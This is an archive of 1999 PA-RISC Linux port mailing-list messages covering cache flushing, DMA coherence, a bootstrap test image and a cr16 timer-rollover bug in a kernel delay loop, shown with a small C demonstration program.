Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22042 invoked from network); 24 Nov 1999 21:26:32 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 21:26:32 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 9E86C2C48; Wed, 24 Nov 1999 16:26:30 -0500 (EST)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id NAA27314; Wed, 24 Nov 1999 13:27:52 -0800 (PST)
In-Reply-To: <19991124220528.L1009@mathe.stud.uni-erlangen.de>; from "Philipp Rumpf" at Nov 24, 99 10:05 pm
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6511

Philipp,

| are you up-to-date with the cvs tree (I have no idea which caches the 735 has,
| but cache flushes won't harm (well, they do harm performance)) ?

The cache flush instructions are architected to cause a processor to memory transfer
iff the cache line is dirty, while an instruction is executed, unless a dirty 
cache line is referenced, memory bandwidth is not consumed.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 22:37:30 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <19991124223730.N1009@mathe.stud.uni-erlangen.de>
References: <19991124220528.L1009@mathe.stud.uni-erlangen.de> <199911242127.NAA27314@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618669 28670 80.91.229.3 (22 Nov 2014 01:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:09 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        dave@hiauly1.hia.nrc.ca, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 14:35:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA16666
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 14:35:06 -0700
Original-Received: (qmail 26754 invoked by uid 15267); 24 Nov 1999 21:36:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26747 invoked from network); 24 Nov 1999 21:36:54 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 21:36:54 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 22:36:49 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id WAA17845;
	Wed, 24 Nov 1999 22:38:36 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911242127.NAA27314@chrome.rose.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6512

>| are you up-to-date with the cvs tree (I have no idea which caches the 735
>| has, but cache flushes won't harm (well, they do harm performance)) ?
> 
> The cache flush instructions are architected to cause a processor to memory
> transfer iff the cache line is dirty, while an instruction is executed,
> unless a dirty cache line is referenced, memory bandwidth is not consumed.

At the current rate of cache flushes (way way too high), the main factor wrt
performance is indeed the execution of the instructions.

As soon as we've implemented page colouring (which turns out to be really very
close to large page support), I expect us to get along with very very few
cache flushes - basically I hope we can avoid them completely.

	Philipp Rumpf


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
Date: Wed, 24 Nov 1999 14:19:35 -0800
Lines: 130
Approved: news@gmane.org
Message-ID: <199911242219.OAA05862@milano.cup.hp.com>
References: <383C36E7.840B8154@aptec.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618669 28676 80.91.229.3 (22 Nov 2014 01:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Folsom <mwfolsom@aptec.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 24 15:15:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA16978
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 15:15:47 -0700
Original-Received: (qmail 12843 invoked by uid 15267); 24 Nov 1999 22:17:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12836 invoked from network); 24 Nov 1999 22:17:32 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 22:17:32 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 46A6A1C53; Wed, 24 Nov 1999 17:17:31 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA05862; Wed, 24 Nov 1999 14:19:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Nov 1999 12:05:11 PST."
             <383C36E7.840B8154@aptec.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6513

Michael Folsom wrote:
> Hi:
> 
> Hate to beat a dead horse but as someone who is clueless about HP-UX where ca
>   n
> I fnd info on the platforms supported and instillation procedures by this
> version of the OS.  I have an older one of their para risc boxes and wonder i
>   f
> if will work ( I seem to remember it has a model number like 712/60 or so-).

Micheal,
You can start digging here:
	http://www.unixsolutions.hp.com/products/hpux/10_20_os.html

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:29 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03712
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:29 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:29 PST
Received: from smtp04.primenet.com (daemon@smtp01.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id HAA17239
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 07:36:58 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id IAA03834
	for <pcj@primenet.com>; Wed, 10 Mar 1999 08:18:02 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd003800; Wed Mar 10 08:17:51 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA01902;
	Wed, 10 Mar 1999 09:00:00 -0500
Resent-Date: Wed, 10 Mar 1999 09:00:00 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <7DB180A629C1D211869F00A0C9F44A8C17F2@retro-mail.fish.retrotech.com>
From: "Muench, David" <dmuen@retrotech.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Bootstrap take 3
Date: Wed, 10 Mar 1999 09:00:58 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"_cyCA3.0.aT.Whdvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/158
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: adbcc2267d96b7b74dbaa5dfa6b94114
Lines: 67
Xref: merlin.pcj.primenet.com palinux:130


Worked great here on my 715/80.

Size = 28762 bytes, entry = 0x00001000, location = 0x0001B000

---
David Muench - Project System Administrator
Retrotech, Inc. - http://www.retrotech.com/



-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Tuesday, March 09, 1999 6:46 PM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap take 3



Following is take #3 of the bootstrap test.
The second test ran fine on my C160 but failed on a number of other
machines.
Its very difficult for me to determine the failures without having the
machine here to mess with. I will try a few different ideas and put them
up for people to try over the next couple days as time permits.

I still am unable to upload to the ftp site. So once again, I have included
the bootstrap in the mail.

If the test runs successfully you should see this at the end:
---------------------------------------------------------------------------

Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0xnnnnnnnn.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot. (you should see this at least once, and upto 6
times).

---------------------------------------------------------------------------
The very last thing you should see is a "spinning cursor" which means
you reached the last statement in the bootstrap (i.e. passed). (this is
an infinite loop, the cursor will spin forever until you reboot).

It seems that some characters get dropped on some systems, usually when
booting over the network. I don't know why this is the case, and HPs
documentation doesn't say anything about needing delays during console I/O.






-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 14:38:49 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <383C68F9.C8C6792A@hp.com>
References: <19991124220528.L1009@mathe.stud.uni-erlangen.de> <199911242127.NAA27314@chrome.rose.hp.com> <19991124223730.N1009@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618669 28679 80.91.229.3 (22 Nov 2014 01:11:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Wed Nov 24 15:37:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA17308
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 15:37:06 -0700
Original-Received: (qmail 22331 invoked by uid 15267); 24 Nov 1999 22:38:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22285 invoked from network); 24 Nov 1999 22:38:51 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 22:38:51 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id D4D372DF4
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 17:38:50 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id OAA24357 for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 14:38:50 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6514

Philipp Rumpf wrote:
> 
> >| are you up-to-date with the cvs tree (I have no idea which caches the 735
> >| has, but cache flushes won't harm (well, they do harm performance)) ?
> >
> > The cache flush instructions are architected to cause a processor to memory
> > transfer iff the cache line is dirty, while an instruction is executed,
> > unless a dirty cache line is referenced, memory bandwidth is not consumed.
> 
> At the current rate of cache flushes (way way too high), the main factor wrt
> performance is indeed the execution of the instructions.
> 
> As soon as we've implemented page colouring (which turns out to be really very
> close to large page support), I expect us to get along with very very few
> cache flushes - basically I hope we can avoid them completely.
> 
>         Philipp Rumpf

No such luck.  You'll need cache flushing in drivers for non-coherent IO.

-Frank


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: itmr rollover in delay loop
Date: Wed, 24 Nov 1999 14:46:17 -0800 (PST)
Lines: 140
Approved: news@gmane.org
Message-ID: <199911242246.OAA31733@opus.allegro.com>
References: <199911241936.LAA19634@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618670 28683 80.91.229.3 (22 Nov 2014 01:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com (Frank Rowand)
Original-X-From: sieler@opus.allegro.com  Wed Nov 24 15:45:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA17454
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 15:45:30 -0700
Original-Received: (qmail 26224 invoked by uid 15267); 24 Nov 1999 22:47:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26217 invoked from network); 24 Nov 1999 22:47:18 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 22:47:18 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id OAA31733;
	Wed, 24 Nov 1999 14:46:17 -0800
In-Reply-To: <199911241936.LAA19634@xsvr4.cup.hp.com> from "Frank Rowand" at Nov 24, 1999 11:36:25 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6515

Re:

> 
> >> Look at the loop.  What we do is basically
> >> 
> >>       cr16 = mfctl(16);
> >>       while(((cr16+loops)-mfctl(16))>0);
> >
> >You definitely don't want to do the above!
> >
> >Even ignoring the possibility of an interrupt that takes us away
> >for awhile, there's the simple possibility that cr16 might
> >roll over during your loop.
> 
> Careful use of unsigned variables fixes the problem.  The easiest way to
> explain this is by a small sample program:
...

 
Actually, unsigned integers cause the problem, as seen below.

I'd been assuming cr16 and mfctl were uint32, not int32, hence my concern
about a possible bug.  (I don't have easy access to the source code)


NOTE: with "int32 cr16" and "int32 mfctl (int crnum);" I don't
see any problems.


Assumptions:
   cr16 is a uint32  (note: better to use than "unsigned long int")
   mfctl is a uint32 function
   loops is a reasonable value 


The loop ending will be *missed* if the precise
value of CR16:    original_cr16 + loops
happens to be missed (again, using uint32).  This can easily happen if CR16 is
ticking faster than the clock (which is allowed by the
architecture) *or* can happen if an interrupt occurs shortly
before CR16 hits the final expected value.

Note that the unsigned arithmetic means that the subtraction in
the "while" control will always be > 0 except for the precise
time when cr16 = original_cr16 + loops.

Here's sample code demonstrating the problem, along with
sample output.

(the following should loop 5 times...but it loops far more!)

Startup: cr16 = 0x1e241, loops = 5, cr16 + loops = 0x1e246
  (loop, cr16 = 0x   1e242), ((cr16 + loops) - mfctl(16)) = 0x       4)
  (loop, cr16 = 0x   1e243), ((cr16 + loops) - mfctl(16)) = 0x       3)
  (loop, cr16 = 0x   1e244), ((cr16 + loops) - mfctl(16)) = 0x       2)
  (loop, cr16 = 0x   1e245), ((cr16 + loops) - mfctl(16)) = 0x       1)
   (extra tick)
  (loop, cr16 = 0x   1e247), ((cr16 + loops) - mfctl(16)) = 0xffffffff)
  (loop, cr16 = 0x   1e248), ((cr16 + loops) - mfctl(16)) = 0xfffffffe)
  (loop, cr16 = 0x   1e249), ((cr16 + loops) - mfctl(16)) = 0xfffffffd)
  (loop, cr16 = 0x   1e24a), ((cr16 + loops) - mfctl(16)) = 0xfffffffc)
  (loop, cr16 = 0x   1e24b), ((cr16 + loops) - mfctl(16)) = 0xfffffffb)
  (loop, cr16 = 0x   1e24c), ((cr16 + loops) - mfctl(16)) = 0xfffffffa)
  (loop, cr16 = 0x   1e24d), ((cr16 + loops) - mfctl(16)) = 0xfffffff9)
  (loop, cr16 = 0x   1e24e), ((cr16 + loops) - mfctl(16)) = 0xfffffff8)
  (loop, cr16 = 0x   1e24f), ((cr16 + loops) - mfctl(16)) = 0xfffffff7)
  (loop, cr16 = 0x   1e250), ((cr16 + loops) - mfctl(16)) = 0xfffffff6)
  (loop, cr16 = 0x   1e251), ((cr16 + loops) - mfctl(16)) = 0xfffffff5)
  (loop, cr16 = 0x   1e252), ((cr16 + loops) - mfctl(16)) = 0xfffffff4)
  (loop, cr16 = 0x   1e253), ((cr16 + loops) - mfctl(16)) = 0xfffffff3)
oops: we've looped too many times!

-----------------------------cut here for source code-------------------------
unsigned long cr16;
unsigned long simulated_cr16;
unsigned long loops;

/***************************************************************/
unsigned long mfctl (int crnum)

      /* ticks once per call ... sometimes twice :) */

   {

   simulated_cr16++;

         /* To demonstrate the problem, let's always make it */
         /* tick more than once at *exactly* the worst time... */

   if ((cr16 + loops) == simulated_cr16)
      {
      simulated_cr16++;
      printf ("   (extra tick)\n");
      }

   return simulated_cr16;

   } /* end mfctl proc */
/***************************************************************/

main() {

   int
      actual_loops;


   simulated_cr16 = 123456;   /* actual value irrelevant */

   cr16 = mfctl (16);         /* every call to mfctl(16) causes a simulated tick

   loops = 5;                 /* desired number of loops */
   actual_loops = 0;          /* track number we've actually done */

   printf ("Startup: cr16 = 0x%x, loops = %d, cr16 + loops = 0x%x\n",
                  cr16, loops, (cr16 + loops));

   while (((cr16 + loops) - mfctl (16)) > 0)
      {
      printf ("  (loop, cr16 = 0x%8x), ((cr16 + loops) - mfctl(16)) = 0x%8x)\n",
                  simulated_cr16,
                  ((cr16 + loops) - simulated_cr16));

      if (actual_loops++ > (loops + 10))
         {
         printf ("oops: we've looped too many times!\n");
         exit (1);
         }
      }                          /* while loop */

   printf ("\nExited normally from delay loop.  At exit:\n");
   printf ("cr16 = 0x%8x, ((cr16 + loops) - mfctl(16)) = 0x%8x)\n",
                  simulated_cr16,
                  ((cr16 + loops) - simulated_cr16));

   } /* end main proc */
/***************************************************************/
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: itmr rollover in delay loop
Date: Thu, 25 Nov 1999 00:01:07 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <19991125000107.O1009@mathe.stud.uni-erlangen.de>
References: <199911241936.LAA19634@xsvr4.cup.hp.com> <199911242246.OAA31733@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618670 28689 80.91.229.3 (22 Nov 2014 01:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:10 +0000 (UTC)
Cc: Frank Rowand <frowand@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 15:58:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA17707
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 15:58:02 -0700
Original-Received: (qmail 31973 invoked by uid 15267); 24 Nov 1999 22:59:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31966 invoked from network); 24 Nov 1999 22:59:50 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 22:59:50 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 23:59:45 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id AAA17976;
	Thu, 25 Nov 1999 00:02:08 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911242246.OAA31733@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6516

> Actually, unsigned integers cause the problem, as seen below.

That's why no one, ever, used unsigned integers.  The assembly source
was clear in using ">" (signed) and the C pseudo-code used "> 0" which
pretty much implies the value compared is signed.

<removed 120 line "there's only one unsigned integer > 0" proof>

	Philipp Rumpf


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cache Flushes
Date: Wed, 24 Nov 1999 15:24:32 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <199911242324.PAA06000@milano.cup.hp.com>
References: <383C68F9.C8C6792A@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618670 28693 80.91.229.3 (22 Nov 2014 01:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Nov 24 16:20:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA18398
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 16:20:41 -0700
Original-Received: (qmail 9609 invoked by uid 15267); 24 Nov 1999 23:22:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9598 invoked from network); 24 Nov 1999 23:22:28 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 23:22:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id 2729616B8
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 15:22:28 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA06000 for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 15:24:33 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Nov 1999 14:38:49 PST."
             <383C68F9.C8C6792A@hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6517

Frank Rowand wrote:
> Philipp Rumpf wrote:
...
> > As soon as we've implemented page colouring (which turns out to be really v
>   ery
> > close to large page support), I expect us to get along with very very few
> > cache flushes - basically I hope we can avoid them completely.
> > 
> >         Philipp Rumpf
> 
> No such luck.  You'll need cache flushing in drivers for non-coherent IO.

Frank is (as usual) right. Rule of thumb is if the box doesn't have an
I/O MMU (aka ccio or sba) or not using it, then it's not I/O coherent.
Every DMA transaction will require flushes/purges before or after
(inbound vs. outbound) of payload and device control data on such boxes.

My understanding is only PA2.0 supports speculative prefetching.
AFIAK that's ok since all PA2.0 boxes have an I/O MMU and the prefetched
data will be recalled/dropped during the course of the DMA.

Conclusion: In the "performance code path", PA1.1 will generally (some
PA1.1 are also I/O coherent) need flushes/purges and PA2.0 won't.
However, I wouldn't code this based on PA2.0 vs PA1.1 since the presence
of U2/Uturn/sba are what matter. And we will probably want to ignore
those chips for PA2.0 bringup (ie bringup will be not be I/O coherent).

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 19:31:08 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <199911250031.TAA24156@hiauly1.hia.nrc.ca>
References: <199911242055.PAA14777@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618670 28696 80.91.229.3 (22 Nov 2014 01:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:10 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 24 17:29:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA18934
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 17:29:26 -0700
Original-Received: (qmail 5003 invoked by uid 15267); 25 Nov 1999 00:31:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4995 invoked from network); 25 Nov 1999 00:31:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 25 Nov 1999 00:31:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA24156;
	Wed, 24 Nov 1999 19:31:09 -0500 (EST)
In-Reply-To: <199911242055.PAA14777@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 24, 99 03:55:38 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6518

> I got a nice dump of the registers.  I think this shows that interruptions
> for bus errors are working.  The panic occured at sem_exit+2C when it
> tried to access location fffc5e6c.  I will try to determine how this address
> got used by sem_exit.

Anybody know where or how the pointer "current" is defined?  It is not 
in the map.  I think it is supposed to point current processes task_struct.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Thu, 25 Nov 1999 01:17:16 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <E11qnXB-0007Cl-00@the-village.bc.nu>
References: <199911250031.TAA24156@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618671 28700 80.91.229.3 (22 Nov 2014 01:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:11 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
